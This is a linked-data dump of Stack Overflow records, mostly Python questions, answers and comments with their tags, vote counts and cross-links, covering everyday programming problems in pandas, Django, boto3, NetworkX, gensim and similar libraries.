has text: thank you i had seen this, sounds almost what i need - however this is an online API :( I wanted to use something of my own, sorry for bothering you :) but thank you!

http://stackoverflow.com/comment/85922624
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49458274
type: Comment
has text: While this code snippet may solve the question, [including an explanation](http://meta.stackexchange.com/questions/114762/explaining-entirely-code-based-answers) really helps to improve the quality of your post. Remember that you are answering the question for readers in the future, and those people might not know the reasons for your code suggestion.

shutil
tags question: http://stackoverflow.com/q/49467850
type: Tag
tags question: http://stackoverflow.com/q/49440473
tag name: shutil

http://stackoverflow.com/q/49457134
tagged with: python
score: -1
tagged with: decimalformat
tagged with: decimal
has answer: http://stackoverflow.com/a/49457199
has comment: http://stackoverflow.com/comment/85917298
has title: Can python decimal preserve decimal formatting
downvote count: 2
answer count: 1
tagged with: floating-point
upvote count: 1
favorite count: 0
tagged with: precision
type: Question
has body: Python decimal module is converting an exact encoded string decimal value into e notation, which is rather unexpected given the module documentation. &gt;&gt;&gt; d = decimal.Decimal('0.00000039') &gt;&gt;&gt; d Decimal('3.9E-7') Also after trying to quantize the value the output stays the same: &gt;&gt;&gt; print d.quantize(decimal.Decimal('0.00000001')) 3.9E-7 How can I prevent this from happening and just keep the source formatting without having to do format conversions. Please also feel free to recommend other stable and reliable modules for working with exact decimals.
type: UnansweredQuestion

http://stackoverflow.com/q/49594240
downvote count: 1
has comment: http://stackoverflow.com/comment/86196356
tagged with: networkx
has title: Morphing NetworkX DiGraph using Relational Algebra
tagged with: relational-algebra
score: 1
has comment: http://stackoverflow.com/comment/86198599
has comment: http://stackoverflow.com/comment/86442315
has body: I have a NetworkX DiGraph which contains nodes of two types, Agent, and Resource. Notionally an adjacency matrix based on the edges (Agent->Resource) would look something like this: +------------------+------------+------------+ | Agent / Resource | Resource_1 | Resource_2 | +------------------+------------+------------+ | Agent_1 | 1 | 0 | | Agent_2 | 1 | 1 | | Agent_3 | 0 | 1 | | Agent_4 | 1 | 1 | +------------------+------------+------------+ I want to take this graph and do some relational algebra on this by doing something like this: Suppose X = the above matrix Y = X * X.transpose() Y= +---------------+---------+---------+---------+---------+ | Agent / Agent | Agent_1 | Agent_2 | Agent_3 | Agent_4 | +---------------+---------+---------+---------+---------+ | Agent_1 | X | 1 | 0 | 1 | | Agent_2 | 1 | X | 1 | 1 | | Agent_3 | 0 | 1 | X | 1 | | Agent_4 | 1 | 1 | 1 | X | +---------------+---------+---------+---------+---------+ I would like to know if there's an easy way to do this with an already created NetworkX graph. The reason I was wondering if there was any way to do this with the methods available to me in NetworkX is that my Graph is a little more complex than just a name and a value so I would like to hopefully save myself from doing this via the brute-force method.
favorite count: 0
tagged with: graph
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86201030
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/86198661
answer count: 0
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/49563445
tagged with: amazon-web-services
answer count: 4
upvote count: 24
type: AnsweredQuestion
has body: The boto3 library provides several factory methods that returns resources. For example: dynamo = ( boto3 .resource('dynamodb') .Table(os.environ['DYNAMODB_TABLE']) ) I want to annotate those resources so I can get better type checking and completion, but the only type alike I could find was from boto3.dynamodb.table import TableResource. When I add that annotation: dynamo: TableResource = ( boto3 .resource('dynamodb') .Table(os.environ['DYNAMODB_TABLE']) ) The only method offered by auto-completion is batch_writer(self, overwrite_by_pkeys), even though the docs lists several others. Is this the wrong class to use as annotation? Inspecting that variable type in the terminal I could see that it was &lt;class 'boto3.resources.factory.dynamodb.Table'&gt;, but it doesn't seem to be possible to get that type statically.
has answer: http://stackoverflow.com/a/53573372
accepted answer: http://stackoverflow.com/a/49563946
score: 24
has answer: http://stackoverflow.com/a/49563946
favorite count: 0
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/59480004
has answer: http://stackoverflow.com/a/59480004
downvote count: 0
tagged with: aws-sdk
has title: Type annotation for boto3 resources like DynamoDB.Table
has answer: http://stackoverflow.com/a/76441133
tagged with: python
tagged with: boto3

http://stackoverflow.com/comment/85995194
comment on: http://stackoverflow.com/q/49488946
score: 1
type: Comment
type: QuestionComment
has text: Hmmm, looks like you did things right. Print the collection of trainable variables and let us know if `embs_pretrained` is still in there or not. The default behavior of the optimizer should be to only update variables that are in this collection. https://stackoverflow.com/questions/41951657/using-tf-trainable-variables-to-show-names-of-trainable-variables

http://stackoverflow.com/comment/86317910
score: 0
type: Comment
type: QuestionComment
has text: @datwelk I have solved it, with a hacky solution. Would you like an answer or help with that?
comment on: http://stackoverflow.com/q/49477417

http://stackoverflow.com/a/49500426
answers question: http://stackoverflow.com/q/49500325
has comment: http://stackoverflow.com/comment/86005711
has comment: http://stackoverflow.com/comment/86005574
has comment: http://stackoverflow.com/comment/86005786
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86005562
has comment: http://stackoverflow.com/comment/86005437
has comment: http://stackoverflow.com/comment/86005254
has comment: http://stackoverflow.com/comment/86005374
downvote count: 0
upvote count: 1
has body: once the program is completed, Python needs to release the memory used by the program. If you use a lot of memory, and/or memory structures are complex, it might take a few seconds (maybe up to a minute). This is a part of Python architecture and you can't really do anything about that given you have to keep these data structures in memory.
has comment: http://stackoverflow.com/comment/86006188

http://stackoverflow.com/a/49549988
has comment: http://stackoverflow.com/comment/86109164
has body: Answers by Christopher Bottoms and Brad Gilbert are right. However, I would like to point out a few things that might make it easier to understand equivalences between Python and Perl6. First, this page about going from Python to Perl6 is full with them, including this section on classes and objects. Please note that the equivalent to __init__ in Perl6 is... nothing. Constructors are generated automatically from instance variables, including defaults. Calling the constructor, however, needs only the name of the class in Python, while it uses new in Perl 6. On the other hand, there are many different ways of overriding that default behavior, from defining your own new to using BUILD, BUILDALL or, even better, TWEAK (which are commonly defined as submethods, so not inherited by subclasses). Finally, you do have self to refer to the object itself within Perl 6 methods. However, we will usually see it this way (as in the examples above) self.instance-variable → $!instance-variable (and please note that - can be validly part of an identifier in Perl 6).
score: 12
upvote count: 12
has comment: http://stackoverflow.com/comment/86109568
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86155142
has comment: http://stackoverflow.com/comment/86109617
accepted answer of: http://stackoverflow.com/q/49538692
has comment: http://stackoverflow.com/comment/86155748
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/134486051
answers question: http://stackoverflow.com/q/49538692

http://stackoverflow.com/q/49539293
tagged with: python
has answer: http://stackoverflow.com/a/49553850
has title: Remove nested lists where all elements are None
tagged with: dictionary
has answer: http://stackoverflow.com/a/49553560
has comment: http://stackoverflow.com/comment/86085790
upvote count: 2
tagged with: python-3.x
tagged with: list
downvote count: 2
possible better answer: http://stackoverflow.com/a/49540072
has body: I have a series of lists (within a dictionary) and I would like to remove any which only have None as elements. However, the lists have various different formattings e.g. x=[None,[None],[None]] x=[None,None,None] x=[None,[None,None],[None,None]] where any None could be replaced with a value. Any example would be the following dictionary: dict={"x1": [None,None,None],"x2": [None,[None],[None]], "x3": [None,[1],[0.5]], "x4":[None,[None,None],[None,None]],"x5":[None,[180,-360],[90,-180]]} In this case I would like to keep (key,value) pairs "x3" and "x5" as they contain values that are not all None, but would like to remove "x1", "x2", and "x4" thus returning: dict={"x3": [None,[1],[0.5]], "x5":[None,[180,-360],[90,-180]]} A simple list comprehension on the various lists (x) in the dictionary such as any(e is not None for e in x) reads [None] entries as not None and returns True. How can I determine which lists actually contain a value rather than [None] elements. I have looked at options for removing the square brackets, e.g. using itertools such as suggested here [Remove brackets from list in Python ], but these all rely on all the elements in the list being formatted in the same way, whereas I have mixed formatting. I am unable to change the formatting as it is required in this format elsewhere in the software.
accepted answer: http://stackoverflow.com/a/49553560
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49540072
type: AnsweredQuestion
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/86089081

http://stackoverflow.com/q/49507680
has answer: http://stackoverflow.com/a/49507798
has title: Convert excel table to key list
has body: I want to create a key list for a large hdf file from an Excel file: Table: I want the key list to look like this: /blue/a/a1 /blue/a/a2 /blue/b/b1 ... my code so far is: import pandas as pd import numpy as np df = pd.read_excel('file.xlsx', usecols = ['A', 'B', 'C']) print(df) list1, list2, list3 = df['A'].tolist(), df['B'].tolist(), df['C'].tolist() print(list1,list2,list3) for i in list1: list1[i].append(list2[i]).append(list3[i]) print(list1) The conversion to 3 lists works. Then I try to append the rows of each list together, without success. Is there a simple way to do that?
tagged with: excel
type: Question
tagged with: python-3.x
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49507866
tagged with: python
has answer: http://stackoverflow.com/a/49507866
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/49507798
tagged with: pandas

http://stackoverflow.com/comment/85926776
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49450177
has text: @MMMMS - OK, so if length of list is `1` then is no subtract? If another value `{'2018-10-19': [2]} ` from `[160/80] = [2]` then output is too `[2]`?
type: Comment

http://stackoverflow.com/comment/86181121
type: Comment
comment on: http://stackoverflow.com/q/49586579
score: 0
type: QuestionComment
has text: See as per new projects arrives, my attachment path will be diff.. like for project-1 it may b /output/project1/doc1.txt and for project-2 it may b /output/project2/doc2.txt so I need to define a global varibale for project directory to define it in path of attachment

http://stackoverflow.com/a/49515018
has comment: http://stackoverflow.com/comment/86035047
type: Answer
accepted answer of: http://stackoverflow.com/q/49514977
has comment: http://stackoverflow.com/comment/86035114
answers question: http://stackoverflow.com/q/49514977
score: 2
has body: I think need concat with aggregate mean, if first 4 columns, what is necessary if duplicates rows in first 4 columns in df1 or df2: df = pd.concat([df1, df2]).groupby(df.columns.tolist()[:4]).mean() If not, use set_index with add and divide by 2: a = df1.set_index(df.columns.tolist()[:4]) b = df1.set_index(df.columns.tolist()[:4]) c = a.add(b).div(2).reset_index()
upvote count: 2
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/q/49579276
has comment: http://stackoverflow.com/comment/86167386
has body: I am trying to configure urls.py to pass information through the URL. My main urls.py file includes the following requests/urls.py when the url matches "requests/" full requests/urls.py: from django.urls import path from django.conf.urls import include, url from . import views urlpatterns = [ path('admin/&lt;id&gt;/', views.RequestQueue), url('admin/', views.RequestQueue, name="queue"), url('', views.ps_request, name='requests'), ] from views.py: def RequestQueue(request, id=0): #handle updates to request status if request.method == "POST": request_update = Request.objects.get(pk=id) form = RequestComplete(request.POST, instance=request_update) form.save() pending_requests = Request.objects.filter(status='pending') context = {'pending_requests' : pending_requests, 'status_form' : RequestComplete} template_name = 'pending-queue.html' return render(request, template_name, context) When I run the development server with url like: http://127.0.0.1:8000/requests/admin/10/ the value of "id" still equals the default value.. 0 Shouldn't it update to the the value of the number in the URL? EDIT - Traceback: Environment: Request Method: POST Request URL: http://127.0.0.1:8000/requests/admin/7 Django Version: 2.0.3 Python Version: 3.6.4 Installed Applications: ['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'aboutme', 'contactme', 'experience', 'login', 'psrequest'] Installed Middleware: ['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware'] Traceback: File "C:\Users\name\PycharmProjects\user\venv\lib\site-packages\django\core\handlers\exception.py" in inn…
type: Question
accepted answer: http://stackoverflow.com/a/49580284
has comment: http://stackoverflow.com/comment/86166460
has comment: http://stackoverflow.com/comment/86167231
tagged with: django-views
has comment: http://stackoverflow.com/comment/86167859
has title: Why is the URL not passing information to my view?
has comment: http://stackoverflow.com/comment/86167921
tagged with: python
tagged with: django-forms
has comment: http://stackoverflow.com/comment/86166757
has comment: http://stackoverflow.com/comment/86168178
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49580284
answer count: 1
tagged with: django
linked to: http://stackoverflow.com/q/47661536

http://stackoverflow.com/a/50563753
upvote count: 1
answers question: http://stackoverflow.com/q/49460486
has body: I had the same problem and it was due to a symbolic link pointing to Pipfile.lock. After cloning the repo on my local mac OS environment, for some reasons, the original link was kind of broken and this resulted in Your Pipfile.lock (3b2ba9) is out of date. Expected: (83a5b4) when pushing to Heroku. Just deleting the "old" symbolic link and recreating it from my local env solved the issue.
score: 1
type: Answer
downvote count: 0

http://stackoverflow.com/a/49543596
score: 0
has body: The data was not shuffled, and the outliers were at the beginning of the dataset.
type: AcceptedAnswer
upvote count: 1
downvote count: 1
accepted answer of: http://stackoverflow.com/q/49543247
answers question: http://stackoverflow.com/q/49543247
type: Answer

http://stackoverflow.com/q/49473329
tagged with: python
score: 4
tagged with: elementtree
tagged with: http://stackoverflow.com/tag/xml
upvote count: 4
type: AnsweredQuestion
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49473666
favorite count: 0
has title: ElementTree XML to do proper spacing and indentation
type: Question
has answer: http://stackoverflow.com/a/49473666
has body: If I have a file like so for example: 1 2008 141100 <neighbor direction="E" name="Austria" /> <neighbor direction="W" name="Switzerland" /> And if I append an element: newTagContentString = """ <role name="admin" /> """ c.append(newXMLElement) It isn't properly indentated: 1 2008 141100 <neighbor direction="E" name="Austria" /> <neighbor direction="W" name="Switzerland" /> <role name="admin" /> Is there a way to make it properly indentate? BTW c.insert(0, newXMLElement) also doesn't keep nice spacing: <role name="admin" /> 1 2008 141100 <neighbor direction="E" name="Austria" /> <neighbor direction="W" name="Switzerland" />
linked to: http://stackoverflow.com/q/28813876
has comment: http://stackoverflow.com/comment/85962762

http://stackoverflow.com/q/49563619
has answer: http://stackoverflow.com/a/49714387
favorite count: 0
tagged with: python-3.x
tagged with: anaconda
has title: Install Dlib in Anaconda Python
tagged with: python
upvote count: 6
tagged with: conda
type: Question
has answer: http://stackoverflow.com/a/68916403
has body: I'm trying to install the dlib package in Anaconda by running the following: conda install -c menpo dlib I'm getting the following error: UnsatisfiableError: The following specifications were found to be in conflict: - dlib - zict Use "conda info &lt;package&gt;" to see the dependencies for each package. How can I solve this problem?
tagged with: dlib
has comment: http://stackoverflow.com/comment/108977832
answer count: 3
has answer: http://stackoverflow.com/a/50890659
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86135674
downvote count: 0
score: 6
linked to: http://stackoverflow.com/q/58570219

http://stackoverflow.com/q/49526009
type: UnansweredQuestion
downvote count: 0
tagged with: python
has body: I am trying to perform POS tagging to my text which are present in the dataframe. I tried using TextBlob, but I am not getting the desired result. My desired result is "a new column should be created with all the taggings". Eg:"I like stackoverflow" and my new column POS_tagged should have [('I', 'PRP'), ('like', 'VBP'), ('stackoverflow', 'JJ')] I tried using Textblob but it is working for one sentence. It is not working for series of sentences. def postag(sentence1): blob=TextBlob(sentence1) return blob.tags aspect_new["POS"]=aspect_new['tweets'].apply(postag) I am getting below error TypeError: The `text` argument passed to `__init__(text)` must be a string, not &lt;class 'float'&gt; Could you please help me in achieving the same in textblob?
tagged with: text-mining
upvote count: 1
score: 1
tagged with: textblob
answer count: 1
has title: POS Tagging in Dataframe pandas-Textblog
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49528703

http://stackoverflow.com/a/49551059
type: Answer
answers question: http://stackoverflow.com/q/49550855
score: 5
downvote count: 0
has body: You can use collections.Counter to count the frequency of each sub list &gt;&gt;&gt; from collections import Counter &gt;&gt;&gt; Counter(list(map(tuple, wordEmbeddings))) We need to cast the sublist to tuples since list is unhashable i.e. it cannot be used as a key in dict. This will give you result like this: &gt;&gt;&gt; Counter({(...4, 5, 6...): 1, (...1, 2, 3...): 1}) The key of Counter object here is the list and value is the number of times this list occurs. Next you can filter the resulting Counter object to only yield elements where value is > 1: &gt;&gt;&gt; items = Counter(list(map(tuple, wordEmbeddings))) &gt;&gt;&gt; list(filter(lambda x: items[x] &gt; 1,items)) Timeit results: $ python -m timeit -s "a = [range(300) for _ in range(131000)]" -s "from collections import Counter" "Counter(list(map(tuple, a)))" 10 loops, best of 3: 1.18 sec per loop
upvote count: 5

http://stackoverflow.com/comment/86011921
has text: If you really need to micro-optimize, I'd bet (although I wouldn't bet much without testing) that `sum(map(w.__eq__, s.strip(),split()))` is faster than the genexpr version. (The main reason it might not be faster is that bound methods get in the way a bit for builtin types.)
type: Comment
comment on: http://stackoverflow.com/a/49503660
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85933749
score: 5
type: Comment
has text: Have you considered changing `getlist_string` to return a generator instead of a list?
type: QuestionComment
comment on: http://stackoverflow.com/q/49465491

http://stackoverflow.com/q/49554123
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49555140
answer count: 2
has comment: http://stackoverflow.com/comment/86116513
has answer: http://stackoverflow.com/a/49554381
upvote count: 0
type: UnansweredQuestion
tagged with: string
downvote count: 1
has title: Remove elements from a list who's specific substrings repeat in other elements
favorite count: 0
tagged with: list
linked to: http://stackoverflow.com/q/8122079
has comment: http://stackoverflow.com/comment/86115712
tagged with: python
has comment: http://stackoverflow.com/comment/86116393
score: -1
has body: How to find if one or multiple specific sub-strings of an element of a list is duplicate. As in present in the other elements of the list, and then make the list unique by only keeping the first element that has those sub-strings in them and remove every other one (the elements that contain the duplicates). Example: SUBSTRINGS=['banana','chocolate'] MYLIST=['1 banana cake','2 banana cake','3 cherry cake','4 chocolate cake','5 chocolate cake','6 banana cake','7 pineapple cake'] The repeating substrings are banana and chocolate in this case.After the processing the list should become: MYLIST=['1 banana cake','3 cherry cake','4 chocolate cake','7 pineapple cake']
tagged with: substring
type: Question

http://stackoverflow.com/a/49555703
has comment: http://stackoverflow.com/comment/86133527
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/49555248
type: Answer
has body: Django template language does not allow you to set variables like this. Your question is a bit confusing because you are trying to show how you would implement it in the Django template, rather than showing what you want the template to display. Here's a couple of suggestions: If match_term is constant, you could add a method to your model. class Doc(models.Model): def first_match(self): return self.video_set.filter(query_data='match_term').first() Then use {{ doc.first_match }} in the template. If match_term changes, then you might have to write a custom template tag.

http://stackoverflow.com/comment/86097549
type: Comment
type: AnswerComment
has text: @PepinPeng: Does whatever file is referenced by `df` have anything in it? Odds are it doesn't, since your previous code (which opened it for write) would have truncated it to an empty file as a side-effect of opening it (so even though the code failed immediately after, the data was already lost).
comment on: http://stackoverflow.com/a/49544794
score: 0

http://stackoverflow.com/q/49513688
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/49514025
upvote count: 1
tagged with: python
has body: Hi I have the following dataframe: &gt; df1 col1 0 donald 1 mike 2 donald trump 3 trump 4 mike pence 5 pence 6 jarred i want to check for the strings that contain sub string from this column and create a new column that holds the bigger strings if the condition is full filled something like this: &gt; df1 col1 col2 0 donald donald trump 1 mike mike pence 2 donald trump donald trump 3 trump donald trump 4 mike pence mike pence 5 pence mike pence 6 jarred jarred Thanks in advance
has answer: http://stackoverflow.com/a/49514025
type: AnsweredQuestion
tagged with: pandas
score: 1
answer count: 1
has title: check if string contains sub string from the same column in pandas dataframe
tagged with: dataframe
favorite count: 0

http://stackoverflow.com/q/49527921
has comment: http://stackoverflow.com/comment/86062598
type: Question
has comment: http://stackoverflow.com/comment/86071775
has comment: http://stackoverflow.com/comment/86072965
answer count: 0
has comment: http://stackoverflow.com/comment/86070593
type: UnansweredQuestion
tagged with: authentication
tagged with: django
has comment: http://stackoverflow.com/comment/86070158
has comment: http://stackoverflow.com/comment/86070307
has body: As mentioned above that I want to use django "authenticate" method with one parameter as email because I use mastodon api for authenticating user and I already got access token from mastodon. After this I just want to check that whether that email is present in django's user table or not with the help of any django method. I used authenticate method but it fails in the use case of password reset. Is there any method in django which can authenticate user with only email. I mention my code below if any modification in the code make that code runs would be appreciable. Django Code: mastodon_var = mastodon.Mastodon( client_id='gnowsys_ndf/ndf/NROER-client_cred.secret', api_base_url='https://member.metastudio.org' ) access_token = None ####GET ACCESS FROM MASTODON HERE####### try: access_token = mastodon_var.log_in( Username, Password, to_file='gnowsys_ndf/ndf/NROER-access_token.secret', ) except Exception as e: print e pass name = Username email = Username password = Password # userna = mastodon_var.u"username" # print userna #######IF USER GETS ACCESS TOKEN THEN FOLLOWING CODE WILL BE EXECUTED########## if access_token: if User.objects.filter(username=name).exists(): ####SECOND AND BY-DEFAULT LAYER FOR AUTHENTICATION user = authenticate(username=name,password=password) if user is not None: if user.is_active: login(request, user) return HttpResponseRedirect( reverse('landing_page') ) else: HttpResponse("Error1") return HttpResponseRedirect( reverse('landing_page') ) else: member = User.objects.create_user(name,email,password) member.save() ####SECOND AND BY-DEFAULT LAYER FOR AUTHENTICATION user = authenticate(username=name, password=password) if user is not None: if user.is_active: login(request, user) return HttpResponseRedirect( reverse('landing_page') ) else: HttpResponse("Error2") return HttpResponseRedirect( reverse('landing_page') ) else: #t = TemplateResponse(request, 'login_template', {}) #return t.render() return HttpResponse("OOps!!!!! You entered wrong creden…
has comment: http://stackoverflow.com/comment/86067180
linked to: http://stackoverflow.com/q/37332190
has comment: http://stackoverflow.com/comment/86069848
score: 0
has comment: http://stackoverflow.com/comment/86070313
tagged with: python
has title: Is it possible to use authenticate method in django with only one parameter as email?

http://stackoverflow.com/q/49567445
accepted answer: http://stackoverflow.com/a/49567511
has body: When writing up a program in python version 3.3.0 (because of non-admin privileges i can't update) it worked completely fine, however now that i am using python version 3.3.2 it no longer works, the program goes as follows: num = input("please enter a value and press enter: ") (assuming 1 is chosen) conv = input("what unit is the measurement in? cm, m, or km: ") (assuming cm is chosen) if conv == "cm": print("chosen value is cm, converting to m and km") m = num/100 print(m , "meters") km = num/100000 print(km , "kilometers") the desired output is (found in 3.3.0): please enter value and press enter: 1 your chosen value is: 1 what unit is the measurement in? cm, m, or km: cm you have chosen cm, converting to m and km 0.01 meters 1e-05 kilometers but instead i get (in 3.3.2): please enter value and press enter: 1 your chosen value is: 1 what unit is the measurement in? cm, m, or km: cm you have chosen cm, converting to m and km Traceback (most recent call last): File "C:/Users/USER/Desktop/QUESTION.py", line 10, in &lt;module&gt; m = num/100 TypeError: unsupported operand type(s) for /: 'str' and 'int'
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86143341
has comment: http://stackoverflow.com/comment/86143355
has comment: http://stackoverflow.com/comment/86143415
has comment: http://stackoverflow.com/comment/86143460
has comment: http://stackoverflow.com/comment/86143404
has answer: http://stackoverflow.com/a/49567511
tagged with: python
has title: Dividing with a user input in Python 3.3.0 works but not with 3.3.2
has comment: http://stackoverflow.com/comment/86143282
has comment: http://stackoverflow.com/comment/86143321
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86143289
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/86143331

http://stackoverflow.com/q/49585674
type: UnansweredQuestion
has body: I will need a little help with diagnosing some problem I am experiencing with some text vector process. Actually, I am trying apply doc2vec word embedding to obtain a vector for a classification task. After I run the code I get some errors which has been quite difficult to figure out, as I am pretty new. Below are the codes and the outputs def constructLabeledSentences(data): sentences=[] for index, row in data.iteritems(): sentences.append(TaggedDocument(utils.to_unicode(row).split(), ['Text' + '_%s' % str(index)])) return sentences x_raw_doc_sentences = constructLabeledSentences(x_raw_train['Text']) x_raw_doc_model = Doc2Vec(min_count=5, window=5, vector_size=300, sample=0.001, negative=5, workers=4, epochs=10,seed=1) x_raw_doc_model.build_vocab(x_raw_doc_sentences) x_raw_doc_model.train(x_raw_doc_sentences, total_examples=x_raw_doc_model.corpus_count, epochs=x_raw_doc_model.epochs) After running the model, I tried to extract the vectors with: x_raw_doc_train_arrays = np.zeros((x_raw_train.shape[0], 300)) for i in range (x_raw_train.shape[0]): x_raw_doc_train_arrays[i]=x_raw_doc_model.docvecs['Text_'+str(i)] and this is the output i get: --------------------------------------------------------------------------- KeyError Traceback (most recent call last) &lt;ipython-input-106-bc0222fef295&gt; in &lt;module&gt;() 1 x_raw_doc_train_arrays = np.zeros((x_raw_train.shape[0], 300)) 2 for i in range (x_raw_train.shape[0]): ----&gt; 3 x_raw_doc_train_arrays[i]=x_raw_doc_model.docvecs['Text_'+str(i)] 4 5 ~\AppData\Local\Continuum\Anaconda3\lib\site-packages\gensim\models\keyedvectors.py in __getitem__(self, index) 1197 return self.vectors_docs[self._int_index(index, self.doctags, self.max_rawint)] 1198 return vstack([self[i] for i in index]) -&gt; 1199 raise KeyError("tag '%s' not seen in training corpus/invalid" % index) 1200 1201 def __contains__(self, index): KeyError: "tag 'Text_4' not seen in training corpus/invalid" Is there anything I did wrong, or should be doing t…
tagged with: doc2vec
downvote count: 0
tagged with: python
tagged with: gensim
score: 1
answer count: 1
has answer: http://stackoverflow.com/a/49590086
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has title: tag 'Text_4' not seen in training corpus/invalid

http://stackoverflow.com/comment/85927726
has text: How exactly do you run the code?
comment on: http://stackoverflow.com/q/49462462
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49565749
has comment: http://stackoverflow.com/comment/86140085
type: AnsweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/86140126
downvote count: 0
score: 1
upvote count: 1
tagged with: python-requests
tagged with: http
favorite count: 0
type: Question
tagged with: go
has body: I have a request I'm making to an endpoint but however for some reason the response body only contains the last line of the response (the whole response is captured in fiddler). The same thing happens if I recreate the request in python using the requests module. However, I've noticed if I take the entire raw response in python, I am able to see all the lines (separated by multiple \r). I'm wondering if it is possible to view the whole raw response in go like with the response.raw.data method in python. In other words is there a way I can view the whole text response instead of it cutting off everything but the last line? If anyone knows as to why the last line is being cut off it will be appreciated greatly as well. To clarify, this only happens with this single endpoint and I suspect the \rs in the response body may be the culprit but I am unsure. I've not seen this behaviour from any other http response. edit: this is the code I'm using to view the response bodyB, _ := ioutil.ReadAll(resp.Body) bodyStr := string(bodyB)
tagged with: network-programming
has comment: http://stackoverflow.com/comment/86140097
has comment: http://stackoverflow.com/comment/86140129
has title: Raw http response in golang
has comment: http://stackoverflow.com/comment/86140039
accepted answer: http://stackoverflow.com/a/49565977
tagged with: python
has comment: http://stackoverflow.com/comment/86139978
has answer: http://stackoverflow.com/a/49565977

http://stackoverflow.com/q/49571092
downvote count: 0
upvote count: 1
has body: I'm working on converting an integer value to a high/low message like this: def int2message(integer): messageHigh=chr(integer//256) messageLow=chr(integer%256) return [str(messageHigh),str(messageLow)] and here is the example: &gt;&gt;testValue=int2message(10) &gt;&gt;print(testValue) ['\x00', '\n'] Now, I want to append this result to the end of the list like this: ['0xA2', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '00', '0n'] | | high low but I find that it's hard to save ASCII values as a normal string. I can't use replace() to delete \x and \ and other operations of normal strings. When I print \x00 and \n separately, they are invisible. Is there any good idea to deal with this problem? And is there any better format to convert integer values to normal strings?
has answer: http://stackoverflow.com/a/49571573
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86150221
has answer: http://stackoverflow.com/a/49571487
score: 1
tagged with: python
has title: How to keep ASCII value in normal string?
answer count: 2
type: UnansweredQuestion

http://stackoverflow.com/comment/123554923
comment on: http://stackoverflow.com/a/49550620
score: 1
type: Comment
has text: `model.name` uses a property decorater and can't be overriden. The attribute `model._name` however can.
type: AnswerComment

http://stackoverflow.com/a/49480941
has comment: http://stackoverflow.com/comment/86048034
type: Answer
answers question: http://stackoverflow.com/q/49457893
downvote count: 0
upvote count: 1
has body: Instead of passing each contour to cv2.boundingRect() you want to merge them all in a single array and then pass to that function, then you get the bounding box you need to crop. But before doing that you need to remove outliers/noise, the contours that are too far from the others.
score: 1

http://stackoverflow.com/comment/87000912
type: Comment
comment on: http://stackoverflow.com/q/49441280
type: QuestionComment
score: 1
has text: @chthonicdaemon Your answer was good enough. I got sidetracked with other work and didn't come back to this page for a few days. Thanks so much! Very helpful, in fact!!

http://stackoverflow.com/comment/86136681
has text: Yeah, not sure really, that's why you've gotten comments rather than answers along these lines. It's a reasonable direction to take in troubleshooting though. I'd install CUDA 9.0 (9.1 is not supported yet) and maybe cuDNN 7.0 and 7.1 into separate folders in your home directory. Then edit your LD_LIBRARY_PATH to point to the right one and test it, then report back.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49563179

http://stackoverflow.com/comment/86191540
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49591943
has text: Why are you using `self` there? As the error says, you haven't defined anything called `self.Product`, just `Product`.
score: 1

http://stackoverflow.com/comment/122808285
comment on: http://stackoverflow.com/a/57788216
type: AnswerComment
score: 0
has text: Would be great if there is a way to improve it, where it sends the whole current line of the cursus to REPL when no text is selected.
type: Comment

http://stackoverflow.com/q/49472938
has body: I'm building a Web-based UI for my neural network. Currently, I'm working on evaluating the model and returning the accuracy. I want to have a button that when it is pressed a PHP function executes a python script without reloading the webpage. I want to be able to update the % label with the received accuracy. My code: Form button: &lt;form Method="POST" action=""&gt;&lt;input type="submit" id="evalBtn" name="AccBtn"&gt;&lt;/form&gt; Accuracy label: &lt;label id="evalLbl"&gt;--%&lt;/label&gt; Currently I have been testing the PHP by echoing "Hello World." Once I get the submission working without reloading the page, I'll write the PHP function for executing the python script. This is the python script I will use to test on and return a value before I run the actual script: testing = 2 def test(testing): testing = testing + 2 return testing testing1 = test(testing) For clarification, I want a button that calls a PHP function to execute a python script, how can I do this without reloading the webpage when the button is pressed? Thanks.
tagged with: deep-learning
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: php
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85948391
has answer: http://stackoverflow.com/a/49473925
has title: PHP button executes python script without reloading page
tagged with: python
